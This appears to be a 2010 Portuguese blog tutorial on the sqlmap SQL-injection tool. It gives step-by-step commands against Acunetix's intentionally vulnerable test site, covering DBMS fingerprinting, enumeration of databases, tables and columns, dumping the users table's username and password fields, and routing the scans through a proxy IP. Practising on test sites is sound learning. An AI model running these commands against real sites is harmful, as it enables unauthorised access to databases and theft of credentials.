sábado, 4 de dezembro de 2010

Tutorial SQL Injection com o SQLMAP

Desde já deixo claro que vou abordar apenas os principais comandos, algo que dê pra você ter uma base para partir pra seu próprio estudo.

sqlmap

“Sqlmap é uma ferramenta open source para penetration test que automatiza o processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita em python e tem suporte tanto GNU linux ou windows.” O sqlmap além de oferecer as funções para detectar e explorar as vulnerabilidades a SQLI, ele consegue também tentar “dominar” o sistema de banco de dados se for possivel.
Download

Opções

Vamos agora começar a brincadeira, para se obter o menu do sqlmap usamos o comando

Código:
./sqlmap.py  -h

*Lembrar de dar permissão de execução, ou executar python sqlmap.py -h

Será mostrado um menu com várias opções, no primeiro esboço desse tópico até tentei descrever todas mas vi que iria ficar muito confuso o entendimento dessa forma, então resolvi colocar os comandos e descrever o que cada parâmetro faz. Quando você estiver explorando alguma vulnerabilidade, entenda que o sqlmap tenta fazer tudo automaticamente, mas quanto mais informações forem fornecidas maiores as chances de sucesso, outro fator importante antes de começarmos é que você tem que saber o que requisitar ao sqlmap, pra isso vou colocar algumas palavras que serão mostradas com frequência que são essenciais conhecer o signifcado.
Enumerate: Listar,enumerar.
Dump:descarregar, no nosso caso seria mais apropriado “Extrair”
DBMS: “Database Management System”, sistema gerenciador de banco de dados.

Estou usando o site de testes da acunetix, podem usar sem preocupação esse site do exemplo porque ele foi feito pra isso.

Vamos começar com um comando simples e importante, vamos descobrir qual tipo e vesão do banco de dados determinado site está usando.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b

–url: A url do alvo.
-b: Pega o banner do DBMS.
Resultado:

Sqli é um tipo de ataque que a cada etapa vamos obtendo mais informações, agora que sabemos a versão e o tipo de banco de dados, vamos obter o nome do banco de dados atual, isso é, o banco de dados que está sendo usado no site alvo.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db

–current-db: Mostra o banco de dados atual.
Resultado:

Pode ser que existam mais bancos de dados, então vamos verificar.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

–dbs: Lista os bancos de dados do DBMS.
Resultado:

Agora vamos começar a entrar mais na toca, temos o banco de dados atual, então vamos listar as tabelas.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

–url: Url do alvo.
-D:banco de dados alvo.
–tables:lista as tabelas.
Vamos prestar atenção a esses comandos,
–tables lista as tabelas, se você já sabe o banco de dados alvo, é importante especificar, se esse comando fosse dado sem usar o -D o sqlmap iria listar todas as tabelas de todos os bancos de dados.
Resultado:

Vamos supor que você ache que tem algo interessante na tabela users, hora de listar as colunas.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

–url:URL Alvo.
-D:Banco de dados alvo.
-T:Tabela alvo.
–columns:Listar colunas.
Resultado:

Finalmente vamos agora extrair os dados das colunas que achamos interessantes. Atenção, não esperem esse comando ser concluído, esse site é feito para testes, então tem muita informação desnecessária nessas colunas, fazendo você perder tempo esperando.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C 'uname,pass' --dump

–url: URL alvo.
-D:Banco de dados alvo.
-T:Tabela do Alvo.
-C: Colunas do alvo
–dump: Extrair informações.

Isso é o básico dos comandos, vou mostrar agora alguns comandos adicionais.

Excluir do ataque o banco de dados do sistema. Sempre que você ver que o sqlmap está fazendo consultas ao banco de dados information_schema, você pode se desejar acrescentar –exclude-sysdbs, que vai fazer o sqlmap não fazer queries a esse banco.

–proxy : Ativa o uso de proxy.

Código:
/sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --proxy=http://173.203.80.108:80

Extrair tudo de todas as tabelas.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --dump-all

Usando uma string para tornar o Blind SQL Injection mais eficiente. O teste mais comum para saber se uma url é vulnerável a blind SQLI é verificar se o conteúdo muda após uma query maliciosa, fornecer uma palavra que existe na página ajuda o sqlmap a fazer um teste mais eficiente.

Código:
./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db --string "shore"

Selecionando o parâmetro a ser testado. Você pode se deparar com uma página com vários parâmetros a serem testados, por exemplo
index.php?option=com_jcars&view=browse&start=15&li mit=5&sort=brand&updn=ASC&filter?id=12
O sqlmap interpreta cada = como um possivel campo a enviar os testes, mas se você sabe que o parâmetro id é o vulnerável, você pode especificar logo, em vez de esperar o sqlmap testar todos.

Código:
./sqlmap.py --url "http://www.alvo.com/index.php?option=com_jcars&view=browse&start=15&limit=5&sort=brand&updn=ASC&filter?id=12" --current-db -p "id"

Acho que isso é o básico para um começo, o sqlmap tem bem mais funçoes interessantes, sugiro pesquisar sobre as opções –prefix=PREFIX, –postfix=POSTFIX e opções de takeover.
Mais informações sobre o programa e vídeos dele em ação no
site oficial

*Lembre-se a ferramenta não vale de nada se você não souber o que está fazendo.

Até.

0 comentários:

Postar um comentário

 
Design by Eddy Oliveira